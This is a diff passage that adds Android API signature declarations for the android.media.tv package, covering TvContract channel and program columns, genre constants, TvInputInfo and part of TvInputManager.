+    method public static android.net.Uri buildChannelUri(long);
+    method public static android.net.Uri buildChannelUriForPassthroughInput(String);
+    method public static android.net.Uri buildChannelsUriForInput(@Nullable String);
+    method public static String buildInputId(android.content.ComponentName);
+    method public static android.net.Uri buildPreviewProgramUri(long);
+    method public static android.net.Uri buildPreviewProgramsUriForChannel(long);
+    method public static android.net.Uri buildPreviewProgramsUriForChannel(android.net.Uri);
+    method public static android.net.Uri buildProgramUri(long);
+    method public static android.net.Uri buildProgramsUriForChannel(long);
+    method public static android.net.Uri buildProgramsUriForChannel(android.net.Uri);
+    method public static android.net.Uri buildProgramsUriForChannel(long, long, long);
+    method public static android.net.Uri buildProgramsUriForChannel(android.net.Uri, long, long);
+    method public static android.net.Uri buildRecordedProgramUri(long);
+    method public static android.net.Uri buildWatchNextProgramUri(long);
+    method public static boolean isChannelUri(@NonNull android.net.Uri);
+    method public static boolean isChannelUriForPassthroughInput(@NonNull android.net.Uri);
+    method public static boolean isChannelUriForTunerInput(@NonNull android.net.Uri);
+    method public static boolean isProgramUri(@NonNull android.net.Uri);
+    method public static boolean isRecordedProgramUri(@NonNull android.net.Uri);
+    method public static void requestChannelBrowsable(android.content.Context, long);
+    field public static final String ACTION_INITIALIZE_PROGRAMS = "android.media.tv.action.INITIALIZE_PROGRAMS";
+    field public static final String ACTION_PREVIEW_PROGRAM_ADDED_TO_WATCH_NEXT = "android.media.tv.action.PREVIEW_PROGRAM_ADDED_TO_WATCH_NEXT";
+    field public static final String ACTION_PREVIEW_PROGRAM_BROWSABLE_DISABLED = "android.media.tv.action.PREVIEW_PROGRAM_BROWSABLE_DISABLED";
+    field public static final String ACTION_REQUEST_CHANNEL_BROWSABLE = "android.media.tv.action.REQUEST_CHANNEL_BROWSABLE";
+    field public static final String ACTION_WATCH_NEXT_PROGRAM_BROWSABLE_DISABLED = "android.media.tv.action.WATCH_NEXT_PROGRAM_BROWSABLE_DISABLED";
+    field public static final String AUTHORITY = "android.media.tv";
+    field public static final String EXTRA_CHANNEL_ID = "android.media.tv.extra.CHANNEL_ID";
+    field public static final String EXTRA_PREVIEW_PROGRAM_ID = "android.media.tv.extra.PREVIEW_PROGRAM_ID";
+    field public static final String EXTRA_WATCH_NEXT_PROGRAM_ID = "android.media.tv.extra.WATCH_NEXT_PROGRAM_ID";
+  }
+
+  public static interface TvContract.BaseTvColumns extends android.provider.BaseColumns {
+    field public static final String COLUMN_PACKAGE_NAME = "package_name";
+  }
+
+  public static final class TvContract.Channels implements android.media.tv.TvContract.BaseTvColumns {
+    method @Nullable public static String getVideoResolution(String);
+    field public static final String COLUMN_APP_LINK_COLOR = "app_link_color";
+    field public static final String COLUMN_APP_LINK_ICON_URI = "app_link_icon_uri";
+    field public static final String COLUMN_APP_LINK_INTENT_URI = "app_link_intent_uri";
+    field public static final String COLUMN_APP_LINK_POSTER_ART_URI = "app_link_poster_art_uri";
+    field public static final String COLUMN_APP_LINK_TEXT = "app_link_text";
+    field public static final String COLUMN_BROADCAST_GENRE = "broadcast_genre";
+    field public static final String COLUMN_BROWSABLE = "browsable";
+    field public static final String COLUMN_CHANNEL_LIST_ID = "channel_list_id";
+    field public static final String COLUMN_DESCRIPTION = "description";
+    field public static final String COLUMN_DISPLAY_NAME = "display_name";
+    field public static final String COLUMN_DISPLAY_NUMBER = "display_number";
+    field public static final String COLUMN_GLOBAL_CONTENT_ID = "global_content_id";
+    field public static final String COLUMN_INPUT_ID = "input_id";
+    field public static final String COLUMN_INTERNAL_PROVIDER_DATA = "internal_provider_data";
+    field public static final String COLUMN_INTERNAL_PROVIDER_FLAG1 = "internal_provider_flag1";
+    field public static final String COLUMN_INTERNAL_PROVIDER_FLAG2 = "internal_provider_flag2";
+    field public static final String COLUMN_INTERNAL_PROVIDER_FLAG3 = "internal_provider_flag3";
+    field public static final String COLUMN_INTERNAL_PROVIDER_FLAG4 = "internal_provider_flag4";
+    field public static final String COLUMN_INTERNAL_PROVIDER_ID = "internal_provider_id";
+    field public static final String COLUMN_LOCKED = "locked";
+    field public static final String COLUMN_NETWORK_AFFILIATION = "network_affiliation";
+    field public static final String COLUMN_ORIGINAL_NETWORK_ID = "original_network_id";
+    field public static final String COLUMN_REMOTE_CONTROL_KEY_PRESET_NUMBER = "remote_control_key_preset_number";
+    field public static final String COLUMN_SCRAMBLED = "scrambled";
+    field public static final String COLUMN_SEARCHABLE = "searchable";
+    field public static final String COLUMN_SERVICE_ID = "service_id";
+    field public static final String COLUMN_SERVICE_TYPE = "service_type";
+    field public static final String COLUMN_TRANSIENT = "transient";
+    field public static final String COLUMN_TRANSPORT_STREAM_ID = "transport_stream_id";
+    field public static final String COLUMN_TYPE = "type";
+    field public static final String COLUMN_VERSION_NUMBER = "version_number";
+    field public static final String COLUMN_VIDEO_FORMAT = "video_format";
+    field public static final String COLUMN_VIDEO_RESOLUTION = "video_resolution";
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/channel";
+    field public static final String CONTENT_TYPE = "vnd.android.cursor.dir/channel";
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String SERVICE_TYPE_AUDIO = "SERVICE_TYPE_AUDIO";
+    field public static final String SERVICE_TYPE_AUDIO_VIDEO = "SERVICE_TYPE_AUDIO_VIDEO";
+    field public static final String SERVICE_TYPE_OTHER = "SERVICE_TYPE_OTHER";
+    field public static final String TYPE_1SEG = "TYPE_1SEG";
+    field public static final String TYPE_ATSC3_T = "TYPE_ATSC3_T";
+    field public static final String TYPE_ATSC_C = "TYPE_ATSC_C";
+    field public static final String TYPE_ATSC_M_H = "TYPE_ATSC_M_H";
+    field public static final String TYPE_ATSC_T = "TYPE_ATSC_T";
+    field public static final String TYPE_CMMB = "TYPE_CMMB";
+    field public static final String TYPE_DTMB = "TYPE_DTMB";
+    field public static final String TYPE_DVB_C = "TYPE_DVB_C";
+    field public static final String TYPE_DVB_C2 = "TYPE_DVB_C2";
+    field public static final String TYPE_DVB_H = "TYPE_DVB_H";
+    field public static final String TYPE_DVB_S = "TYPE_DVB_S";
+    field public static final String TYPE_DVB_S2 = "TYPE_DVB_S2";
+    field public static final String TYPE_DVB_SH = "TYPE_DVB_SH";
+    field public static final String TYPE_DVB_T = "TYPE_DVB_T";
+    field public static final String TYPE_DVB_T2 = "TYPE_DVB_T2";
+    field public static final String TYPE_ISDB_C = "TYPE_ISDB_C";
+    field public static final String TYPE_ISDB_S = "TYPE_ISDB_S";
+    field public static final String TYPE_ISDB_S3 = "TYPE_ISDB_S3";
+    field public static final String TYPE_ISDB_T = "TYPE_ISDB_T";
+    field public static final String TYPE_ISDB_TB = "TYPE_ISDB_TB";
+    field public static final String TYPE_NTSC = "TYPE_NTSC";
+    field public static final String TYPE_OTHER = "TYPE_OTHER";
+    field public static final String TYPE_PAL = "TYPE_PAL";
+    field public static final String TYPE_PREVIEW = "TYPE_PREVIEW";
+    field public static final String TYPE_SECAM = "TYPE_SECAM";
+    field public static final String TYPE_S_DMB = "TYPE_S_DMB";
+    field public static final String TYPE_T_DMB = "TYPE_T_DMB";
+    field public static final String VIDEO_FORMAT_1080I = "VIDEO_FORMAT_1080I";
+    field public static final String VIDEO_FORMAT_1080P = "VIDEO_FORMAT_1080P";
+    field public static final String VIDEO_FORMAT_2160P = "VIDEO_FORMAT_2160P";
+    field public static final String VIDEO_FORMAT_240P = "VIDEO_FORMAT_240P";
+    field public static final String VIDEO_FORMAT_360P = "VIDEO_FORMAT_360P";
+    field public static final String VIDEO_FORMAT_4320P = "VIDEO_FORMAT_4320P";
+    field public static final String VIDEO_FORMAT_480I = "VIDEO_FORMAT_480I";
+    field public static final String VIDEO_FORMAT_480P = "VIDEO_FORMAT_480P";
+    field public static final String VIDEO_FORMAT_576I = "VIDEO_FORMAT_576I";
+    field public static final String VIDEO_FORMAT_576P = "VIDEO_FORMAT_576P";
+    field public static final String VIDEO_FORMAT_720P = "VIDEO_FORMAT_720P";
+    field public static final String VIDEO_RESOLUTION_ED = "VIDEO_RESOLUTION_ED";
+    field public static final String VIDEO_RESOLUTION_FHD = "VIDEO_RESOLUTION_FHD";
+    field public static final String VIDEO_RESOLUTION_HD = "VIDEO_RESOLUTION_HD";
+    field public static final String VIDEO_RESOLUTION_SD = "VIDEO_RESOLUTION_SD";
+    field public static final String VIDEO_RESOLUTION_UHD = "VIDEO_RESOLUTION_UHD";
+  }
+
+  public static final class TvContract.Channels.Logo {
+    field public static final String CONTENT_DIRECTORY = "logo";
+  }
+
+  public static final class TvContract.PreviewPrograms implements android.media.tv.TvContract.BaseTvColumns {
+    field public static final int ASPECT_RATIO_16_9 = 0; // 0x0
+    field public static final int ASPECT_RATIO_1_1 = 3; // 0x3
+    field public static final int ASPECT_RATIO_2_3 = 4; // 0x4
+    field public static final int ASPECT_RATIO_3_2 = 1; // 0x1
+    field public static final int ASPECT_RATIO_4_3 = 2; // 0x2
+    field public static final int AVAILABILITY_AVAILABLE = 0; // 0x0
+    field public static final int AVAILABILITY_FREE_WITH_SUBSCRIPTION = 1; // 0x1
+    field public static final int AVAILABILITY_PAID_CONTENT = 2; // 0x2
+    field public static final String COLUMN_AUDIO_LANGUAGE = "audio_language";
+    field public static final String COLUMN_AUTHOR = "author";
+    field public static final String COLUMN_AVAILABILITY = "availability";
+    field public static final String COLUMN_BROWSABLE = "browsable";
+    field public static final String COLUMN_CANONICAL_GENRE = "canonical_genre";
+    field public static final String COLUMN_CHANNEL_ID = "channel_id";
+    field public static final String COLUMN_CONTENT_ID = "content_id";
+    field public static final String COLUMN_CONTENT_RATING = "content_rating";
+    field public static final String COLUMN_DURATION_MILLIS = "duration_millis";
+    field public static final String COLUMN_EPISODE_DISPLAY_NUMBER = "episode_display_number";
+    field public static final String COLUMN_EPISODE_TITLE = "episode_title";
+    field public static final String COLUMN_INTENT_URI = "intent_uri";
+    field public static final String COLUMN_INTERACTION_COUNT = "interaction_count";
+    field public static final String COLUMN_INTERACTION_TYPE = "interaction_type";
+    field public static final String COLUMN_INTERNAL_PROVIDER_DATA = "internal_provider_data";
+    field public static final String COLUMN_INTERNAL_PROVIDER_FLAG1 = "internal_provider_flag1";
+    field public static final String COLUMN_INTERNAL_PROVIDER_FLAG2 = "internal_provider_flag2";
+    field public static final String COLUMN_INTERNAL_PROVIDER_FLAG3 = "internal_provider_flag3";
+    field public static final String COLUMN_INTERNAL_PROVIDER_FLAG4 = "internal_provider_flag4";
+    field public static final String COLUMN_INTERNAL_PROVIDER_ID = "internal_provider_id";
+    field public static final String COLUMN_ITEM_COUNT = "item_count";
+    field public static final String COLUMN_LAST_PLAYBACK_POSITION_MILLIS = "last_playback_position_millis";
+    field public static final String COLUMN_LIVE = "live";
+    field public static final String COLUMN_LOGO_URI = "logo_uri";
+    field public static final String COLUMN_LONG_DESCRIPTION = "long_description";
+    field public static final String COLUMN_OFFER_PRICE = "offer_price";
+    field public static final String COLUMN_POSTER_ART_ASPECT_RATIO = "poster_art_aspect_ratio";
+    field public static final String COLUMN_POSTER_ART_URI = "poster_art_uri";
+    field public static final String COLUMN_PREVIEW_VIDEO_URI = "preview_video_uri";
+    field public static final String COLUMN_RELEASE_DATE = "release_date";
+    field public static final String COLUMN_REVIEW_RATING = "review_rating";
+    field public static final String COLUMN_REVIEW_RATING_STYLE = "review_rating_style";
+    field public static final String COLUMN_SEARCHABLE = "searchable";
+    field public static final String COLUMN_SEASON_DISPLAY_NUMBER = "season_display_number";
+    field public static final String COLUMN_SEASON_TITLE = "season_title";
+    field public static final String COLUMN_SERIES_ID = "series_id";
+    field public static final String COLUMN_SHORT_DESCRIPTION = "short_description";
+    field public static final String COLUMN_SPLIT_ID = "split_id";
+    field public static final String COLUMN_STARTING_PRICE = "starting_price";
+    field public static final String COLUMN_THUMBNAIL_ASPECT_RATIO = "poster_thumbnail_aspect_ratio";
+    field public static final String COLUMN_THUMBNAIL_URI = "thumbnail_uri";
+    field public static final String COLUMN_TITLE = "title";
+    field public static final String COLUMN_TRANSIENT = "transient";
+    field public static final String COLUMN_TYPE = "type";
+    field public static final String COLUMN_VERSION_NUMBER = "version_number";
+    field public static final String COLUMN_VIDEO_HEIGHT = "video_height";
+    field public static final String COLUMN_VIDEO_WIDTH = "video_width";
+    field public static final String COLUMN_WEIGHT = "weight";
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/preview_program";
+    field public static final String CONTENT_TYPE = "vnd.android.cursor.dir/preview_program";
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final int INTERACTION_TYPE_FANS = 3; // 0x3
+    field public static final int INTERACTION_TYPE_FOLLOWERS = 2; // 0x2
+    field public static final int INTERACTION_TYPE_LIKES = 4; // 0x4
+    field public static final int INTERACTION_TYPE_LISTENS = 1; // 0x1
+    field public static final int INTERACTION_TYPE_THUMBS = 5; // 0x5
+    field public static final int INTERACTION_TYPE_VIEWERS = 6; // 0x6
+    field public static final int INTERACTION_TYPE_VIEWS = 0; // 0x0
+    field public static final int REVIEW_RATING_STYLE_PERCENTAGE = 2; // 0x2
+    field public static final int REVIEW_RATING_STYLE_STARS = 0; // 0x0
+    field public static final int REVIEW_RATING_STYLE_THUMBS_UP_DOWN = 1; // 0x1
+    field public static final int TYPE_ALBUM = 8; // 0x8
+    field public static final int TYPE_ARTIST = 9; // 0x9
+    field public static final int TYPE_CHANNEL = 6; // 0x6
+    field public static final int TYPE_CLIP = 4; // 0x4
+    field public static final int TYPE_EVENT = 5; // 0x5
+    field public static final int TYPE_MOVIE = 0; // 0x0
+    field public static final int TYPE_PLAYLIST = 10; // 0xa
+    field public static final int TYPE_STATION = 11; // 0xb
+    field public static final int TYPE_TRACK = 7; // 0x7
+    field public static final int TYPE_TV_EPISODE = 3; // 0x3
+    field public static final int TYPE_TV_SEASON = 2; // 0x2
+    field public static final int TYPE_TV_SERIES = 1; // 0x1
+  }
+
+  public static final class TvContract.Programs implements android.media.tv.TvContract.BaseTvColumns {
+    field public static final String COLUMN_AUDIO_LANGUAGE = "audio_language";
+    field public static final String COLUMN_BROADCAST_GENRE = "broadcast_genre";
+    field public static final String COLUMN_CANONICAL_GENRE = "canonical_genre";
+    field public static final String COLUMN_CHANNEL_ID = "channel_id";
+    field public static final String COLUMN_CONTENT_RATING = "content_rating";
+    field public static final String COLUMN_END_TIME_UTC_MILLIS = "end_time_utc_millis";
+    field public static final String COLUMN_EPISODE_DISPLAY_NUMBER = "episode_display_number";
+    field @Deprecated public static final String COLUMN_EPISODE_NUMBER = "episode_number";
+    field public static final String COLUMN_EPISODE_TITLE = "episode_title";
+    field public static final String COLUMN_EVENT_ID = "event_id";
+    field public static final String COLUMN_GLOBAL_CONTENT_ID = "global_content_id";
+    field public static final String COLUMN_INTERNAL_PROVIDER_DATA = "internal_provider_data";
+    field public static final String COLUMN_INTERNAL_PROVIDER_FLAG1 = "internal_provider_flag1";
+    field public static final String COLUMN_INTERNAL_PROVIDER_FLAG2 = "internal_provider_flag2";
+    field public static final String COLUMN_INTERNAL_PROVIDER_FLAG3 = "internal_provider_flag3";
+    field public static final String COLUMN_INTERNAL_PROVIDER_FLAG4 = "internal_provider_flag4";
+    field public static final String COLUMN_LONG_DESCRIPTION = "long_description";
+    field public static final String COLUMN_POSTER_ART_URI = "poster_art_uri";
+    field public static final String COLUMN_RECORDING_PROHIBITED = "recording_prohibited";
+    field public static final String COLUMN_REVIEW_RATING = "review_rating";
+    field public static final String COLUMN_REVIEW_RATING_STYLE = "review_rating_style";
+    field public static final String COLUMN_SEARCHABLE = "searchable";
+    field public static final String COLUMN_SEASON_DISPLAY_NUMBER = "season_display_number";
+    field @Deprecated public static final String COLUMN_SEASON_NUMBER = "season_number";
+    field public static final String COLUMN_SEASON_TITLE = "season_title";
+    field public static final String COLUMN_SERIES_ID = "series_id";
+    field public static final String COLUMN_SHORT_DESCRIPTION = "short_description";
+    field public static final String COLUMN_SPLIT_ID = "split_id";
+    field public static final String COLUMN_START_TIME_UTC_MILLIS = "start_time_utc_millis";
+    field public static final String COLUMN_THUMBNAIL_URI = "thumbnail_uri";
+    field public static final String COLUMN_TITLE = "title";
+    field public static final String COLUMN_VERSION_NUMBER = "version_number";
+    field public static final String COLUMN_VIDEO_HEIGHT = "video_height";
+    field public static final String COLUMN_VIDEO_WIDTH = "video_width";
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/program";
+    field public static final String CONTENT_TYPE = "vnd.android.cursor.dir/program";
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final int REVIEW_RATING_STYLE_PERCENTAGE = 2; // 0x2
+    field public static final int REVIEW_RATING_STYLE_STARS = 0; // 0x0
+    field public static final int REVIEW_RATING_STYLE_THUMBS_UP_DOWN = 1; // 0x1
+  }
+
+  public static final class TvContract.Programs.Genres {
+    method public static String[] decode(@NonNull String);
+    method public static String encode(@NonNull java.lang.String...);
+    method public static boolean isCanonical(String);
+    field public static final String ANIMAL_WILDLIFE = "ANIMAL_WILDLIFE";
+    field public static final String ARTS = "ARTS";
+    field public static final String COMEDY = "COMEDY";
+    field public static final String DRAMA = "DRAMA";
+    field public static final String EDUCATION = "EDUCATION";
+    field public static final String ENTERTAINMENT = "ENTERTAINMENT";
+    field public static final String FAMILY_KIDS = "FAMILY_KIDS";
+    field public static final String GAMING = "GAMING";
+    field public static final String LIFE_STYLE = "LIFE_STYLE";
+    field public static final String MOVIES = "MOVIES";
+    field public static final String MUSIC = "MUSIC";
+    field public static final String NEWS = "NEWS";
+    field public static final String PREMIER = "PREMIER";
+    field public static final String SHOPPING = "SHOPPING";
+    field public static final String SPORTS = "SPORTS";
+    field public static final String TECH_SCIENCE = "TECH_SCIENCE";
+    field public static final String TRAVEL = "TRAVEL";
+  }
+
+  public static final class TvContract.RecordedPrograms implements android.media.tv.TvContract.BaseTvColumns {
+    field public static final String COLUMN_AUDIO_LANGUAGE = "audio_language";
+    field public static final String COLUMN_BROADCAST_GENRE = "broadcast_genre";
+    field public static final String COLUMN_CANONICAL_GENRE = "canonical_genre";
+    field public static final String COLUMN_CHANNEL_ID = "channel_id";
+    field public static final String COLUMN_CONTENT_RATING = "content_rating";
+    field public static final String COLUMN_END_TIME_UTC_MILLIS = "end_time_utc_millis";
+    field public static final String COLUMN_EPISODE_DISPLAY_NUMBER = "episode_display_number";
+    field public static final String COLUMN_EPISODE_TITLE = "episode_title";
+    field public static final String COLUMN_INPUT_ID = "input_id";
+    field public static final String COLUMN_INTERNAL_PROVIDER_DATA = "internal_provider_data";
+    field public static final String COLUMN_INTERNAL_PROVIDER_FLAG1 = "internal_provider_flag1";
+    field public static final String COLUMN_INTERNAL_PROVIDER_FLAG2 = "internal_provider_flag2";
+    field public static final String COLUMN_INTERNAL_PROVIDER_FLAG3 = "internal_provider_flag3";
+    field public static final String COLUMN_INTERNAL_PROVIDER_FLAG4 = "internal_provider_flag4";
+    field public static final String COLUMN_LONG_DESCRIPTION = "long_description";
+    field public static final String COLUMN_POSTER_ART_URI = "poster_art_uri";
+    field public static final String COLUMN_RECORDING_DATA_BYTES = "recording_data_bytes";
+    field public static final String COLUMN_RECORDING_DATA_URI = "recording_data_uri";
+    field public static final String COLUMN_RECORDING_DURATION_MILLIS = "recording_duration_millis";
+    field public static final String COLUMN_RECORDING_EXPIRE_TIME_UTC_MILLIS = "recording_expire_time_utc_millis";
+    field public static final String COLUMN_REVIEW_RATING = "review_rating";
+    field public static final String COLUMN_REVIEW_RATING_STYLE = "review_rating_style";
+    field public static final String COLUMN_SEARCHABLE = "searchable";
+    field public static final String COLUMN_SEASON_DISPLAY_NUMBER = "season_display_number";
+    field public static final String COLUMN_SEASON_TITLE = "season_title";
+    field public static final String COLUMN_SERIES_ID = "series_id";
+    field public static final String COLUMN_SHORT_DESCRIPTION = "short_description";
+    field public static final String COLUMN_SPLIT_ID = "split_id";
+    field public static final String COLUMN_START_TIME_UTC_MILLIS = "start_time_utc_millis";
+    field public static final String COLUMN_THUMBNAIL_URI = "thumbnail_uri";
+    field public static final String COLUMN_TITLE = "title";
+    field public static final String COLUMN_VERSION_NUMBER = "version_number";
+    field public static final String COLUMN_VIDEO_HEIGHT = "video_height";
+    field public static final String COLUMN_VIDEO_WIDTH = "video_width";
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/recorded_program";
+    field public static final String CONTENT_TYPE = "vnd.android.cursor.dir/recorded_program";
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final int REVIEW_RATING_STYLE_PERCENTAGE = 2; // 0x2
+    field public static final int REVIEW_RATING_STYLE_STARS = 0; // 0x0
+    field public static final int REVIEW_RATING_STYLE_THUMBS_UP_DOWN = 1; // 0x1
+  }
+
+  public static final class TvContract.WatchNextPrograms implements android.media.tv.TvContract.BaseTvColumns {
+    field public static final int ASPECT_RATIO_16_9 = 0; // 0x0
+    field public static final int ASPECT_RATIO_1_1 = 3; // 0x3
+    field public static final int ASPECT_RATIO_2_3 = 4; // 0x4
+    field public static final int ASPECT_RATIO_3_2 = 1; // 0x1
+    field public static final int ASPECT_RATIO_4_3 = 2; // 0x2
+    field public static final int AVAILABILITY_AVAILABLE = 0; // 0x0
+    field public static final int AVAILABILITY_FREE_WITH_SUBSCRIPTION = 1; // 0x1
+    field public static final int AVAILABILITY_PAID_CONTENT = 2; // 0x2
+    field public static final String COLUMN_AUDIO_LANGUAGE = "audio_language";
+    field public static final String COLUMN_AUTHOR = "author";
+    field public static final String COLUMN_AVAILABILITY = "availability";
+    field public static final String COLUMN_BROWSABLE = "browsable";
+    field public static final String COLUMN_CANONICAL_GENRE = "canonical_genre";
+    field public static final String COLUMN_CONTENT_ID = "content_id";
+    field public static final String COLUMN_CONTENT_RATING = "content_rating";
+    field public static final String COLUMN_DURATION_MILLIS = "duration_millis";
+    field public static final String COLUMN_EPISODE_DISPLAY_NUMBER = "episode_display_number";
+    field public static final String COLUMN_EPISODE_TITLE = "episode_title";
+    field public static final String COLUMN_INTENT_URI = "intent_uri";
+    field public static final String COLUMN_INTERACTION_COUNT = "interaction_count";
+    field public static final String COLUMN_INTERACTION_TYPE = "interaction_type";
+    field public static final String COLUMN_INTERNAL_PROVIDER_DATA = "internal_provider_data";
+    field public static final String COLUMN_INTERNAL_PROVIDER_FLAG1 = "internal_provider_flag1";
+    field public static final String COLUMN_INTERNAL_PROVIDER_FLAG2 = "internal_provider_flag2";
+    field public static final String COLUMN_INTERNAL_PROVIDER_FLAG3 = "internal_provider_flag3";
+    field public static final String COLUMN_INTERNAL_PROVIDER_FLAG4 = "internal_provider_flag4";
+    field public static final String COLUMN_INTERNAL_PROVIDER_ID = "internal_provider_id";
+    field public static final String COLUMN_ITEM_COUNT = "item_count";
+    field public static final String COLUMN_LAST_ENGAGEMENT_TIME_UTC_MILLIS = "last_engagement_time_utc_millis";
+    field public static final String COLUMN_LAST_PLAYBACK_POSITION_MILLIS = "last_playback_position_millis";
+    field public static final String COLUMN_LIVE = "live";
+    field public static final String COLUMN_LOGO_URI = "logo_uri";
+    field public static final String COLUMN_LONG_DESCRIPTION = "long_description";
+    field public static final String COLUMN_OFFER_PRICE = "offer_price";
+    field public static final String COLUMN_POSTER_ART_ASPECT_RATIO = "poster_art_aspect_ratio";
+    field public static final String COLUMN_POSTER_ART_URI = "poster_art_uri";
+    field public static final String COLUMN_PREVIEW_VIDEO_URI = "preview_video_uri";
+    field public static final String COLUMN_RELEASE_DATE = "release_date";
+    field public static final String COLUMN_REVIEW_RATING = "review_rating";
+    field public static final String COLUMN_REVIEW_RATING_STYLE = "review_rating_style";
+    field public static final String COLUMN_SEARCHABLE = "searchable";
+    field public static final String COLUMN_SEASON_DISPLAY_NUMBER = "season_display_number";
+    field public static final String COLUMN_SEASON_TITLE = "season_title";
+    field public static final String COLUMN_SERIES_ID = "series_id";
+    field public static final String COLUMN_SHORT_DESCRIPTION = "short_description";
+    field public static final String COLUMN_SPLIT_ID = "split_id";
+    field public static final String COLUMN_STARTING_PRICE = "starting_price";
+    field public static final String COLUMN_THUMBNAIL_ASPECT_RATIO = "poster_thumbnail_aspect_ratio";
+    field public static final String COLUMN_THUMBNAIL_URI = "thumbnail_uri";
+    field public static final String COLUMN_TITLE = "title";
+    field public static final String COLUMN_TRANSIENT = "transient";
+    field public static final String COLUMN_TYPE = "type";
+    field public static final String COLUMN_VERSION_NUMBER = "version_number";
+    field public static final String COLUMN_VIDEO_HEIGHT = "video_height";
+    field public static final String COLUMN_VIDEO_WIDTH = "video_width";
+    field public static final String COLUMN_WATCH_NEXT_TYPE = "watch_next_type";
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/watch_next_program";
+    field public static final String CONTENT_TYPE = "vnd.android.cursor.dir/watch_next_program";
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final int INTERACTION_TYPE_FANS = 3; // 0x3
+    field public static final int INTERACTION_TYPE_FOLLOWERS = 2; // 0x2
+    field public static final int INTERACTION_TYPE_LIKES = 4; // 0x4
+    field public static final int INTERACTION_TYPE_LISTENS = 1; // 0x1
+    field public static final int INTERACTION_TYPE_THUMBS = 5; // 0x5
+    field public static final int INTERACTION_TYPE_VIEWERS = 6; // 0x6
+    field public static final int INTERACTION_TYPE_VIEWS = 0; // 0x0
+    field public static final int REVIEW_RATING_STYLE_PERCENTAGE = 2; // 0x2
+    field public static final int REVIEW_RATING_STYLE_STARS = 0; // 0x0
+    field public static final int REVIEW_RATING_STYLE_THUMBS_UP_DOWN = 1; // 0x1
+    field public static final int TYPE_ALBUM = 8; // 0x8
+    field public static final int TYPE_ARTIST = 9; // 0x9
+    field public static final int TYPE_CHANNEL = 6; // 0x6
+    field public static final int TYPE_CLIP = 4; // 0x4
+    field public static final int TYPE_EVENT = 5; // 0x5
+    field public static final int TYPE_MOVIE = 0; // 0x0
+    field public static final int TYPE_PLAYLIST = 10; // 0xa
+    field public static final int TYPE_STATION = 11; // 0xb
+    field public static final int TYPE_TRACK = 7; // 0x7
+    field public static final int TYPE_TV_EPISODE = 3; // 0x3
+    field public static final int TYPE_TV_SEASON = 2; // 0x2
+    field public static final int TYPE_TV_SERIES = 1; // 0x1
+    field public static final int WATCH_NEXT_TYPE_CONTINUE = 0; // 0x0
+    field public static final int WATCH_NEXT_TYPE_NEW = 2; // 0x2
+    field public static final int WATCH_NEXT_TYPE_NEXT = 1; // 0x1
+    field public static final int WATCH_NEXT_TYPE_WATCHLIST = 3; // 0x3
+  }
+
+  public final class TvInputInfo implements android.os.Parcelable {
+    method public boolean canPauseRecording();
+    method public boolean canRecord();
+    method @Deprecated public android.content.Intent createSettingsIntent();
+    method public android.content.Intent createSetupIntent();
+    method public int describeContents();
+    method public android.os.Bundle getExtras();
+    method public String getId();
+    method public String getParentId();
+    method public android.content.pm.ServiceInfo getServiceInfo();
+    method public int getTunerCount();
+    method public int getType();
+    method public boolean isHidden(android.content.Context);
+    method public boolean isPassthroughInput();
+    method public CharSequence loadCustomLabel(android.content.Context);
+    method public android.graphics.drawable.Drawable loadIcon(@NonNull android.content.Context);
+    method public CharSequence loadLabel(@NonNull android.content.Context);
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.media.tv.TvInputInfo> CREATOR;
+    field public static final String EXTRA_INPUT_ID = "android.media.tv.extra.INPUT_ID";
+    field public static final int TYPE_COMPONENT = 1004; // 0x3ec
+    field public static final int TYPE_COMPOSITE = 1001; // 0x3e9
+    field public static final int TYPE_DISPLAY_PORT = 1008; // 0x3f0
+    field public static final int TYPE_DVI = 1006; // 0x3ee
+    field public static final int TYPE_HDMI = 1007; // 0x3ef
+    field public static final int TYPE_OTHER = 1000; // 0x3e8
+    field public static final int TYPE_SCART = 1003; // 0x3eb
+    field public static final int TYPE_SVIDEO = 1002; // 0x3ea
+    field public static final int TYPE_TUNER = 0; // 0x0
+    field public static final int TYPE_VGA = 1005; // 0x3ed
+  }
+
+  public static final class TvInputInfo.Builder {
+    ctor public TvInputInfo.Builder(android.content.Context, android.content.ComponentName);
+    method public android.media.tv.TvInputInfo build();
+    method @NonNull public android.media.tv.TvInputInfo.Builder setCanPauseRecording(boolean);
+    method public android.media.tv.TvInputInfo.Builder setCanRecord(boolean);
+    method public android.media.tv.TvInputInfo.Builder setExtras(android.os.Bundle);
+    method public android.media.tv.TvInputInfo.Builder setTunerCount(int);
+  }
+
+  public final class TvInputManager {
+    method public java.util.List<android.media.tv.TvContentRating> getBlockedRatings();
+    method public int getInputState(@NonNull String);
+    method @Nullable public android.media.tv.TvInputInfo getTvInputInfo(@NonNull String);
+    method public java.util.List<android.media.tv.TvInputInfo> getTvInputList();
+    method public boolean isParentalControlsEnabled();
+    method public boolean isRatingBlocked(@NonNull android.media.tv.TvContentRating);
+    method public void registerCallback(@NonNull android.media.tv.TvInputManager.TvInputCallback, @NonNull android.os.Handler);
+    method public void unregisterCallback(@NonNull android.media.tv.TvInputManager.TvInputCallback);
+    method public void updateTvInputInfo(@NonNull android.media.tv.TvInputInfo);
+    field public static final String ACTION_BLOCKED_RATINGS_CHANGED = "android.media.tv.action.BLOCKED_RATINGS_CHANGED";
+    field public static final String ACTION_PARENTAL_CONTROLS_ENABLED_CHANGED = "android.media.tv.action.PARENTAL_CONTROLS_ENABLED_CHANGED";
+    field public static final String ACTION_QUERY_CONTENT_RATING_SYSTEMS = "android.media.tv.action.QUERY_CONTENT_RATING_SYSTEMS";
+    field public static final String ACTION_SETUP_INPUTS = "android.media.tv.action.SETUP_INPUTS";
+    field public static final String ACTION_VIEW_RECORDING_SCHEDULES = "android.media.tv.action.VIEW_RECORDING_SCHEDULES";
+    field public static final int INPUT_STATE_CONNECTED = 0; // 0x0
+    field public static final int INPUT_STATE_CONNECTED_STANDBY = 1; // 0x1
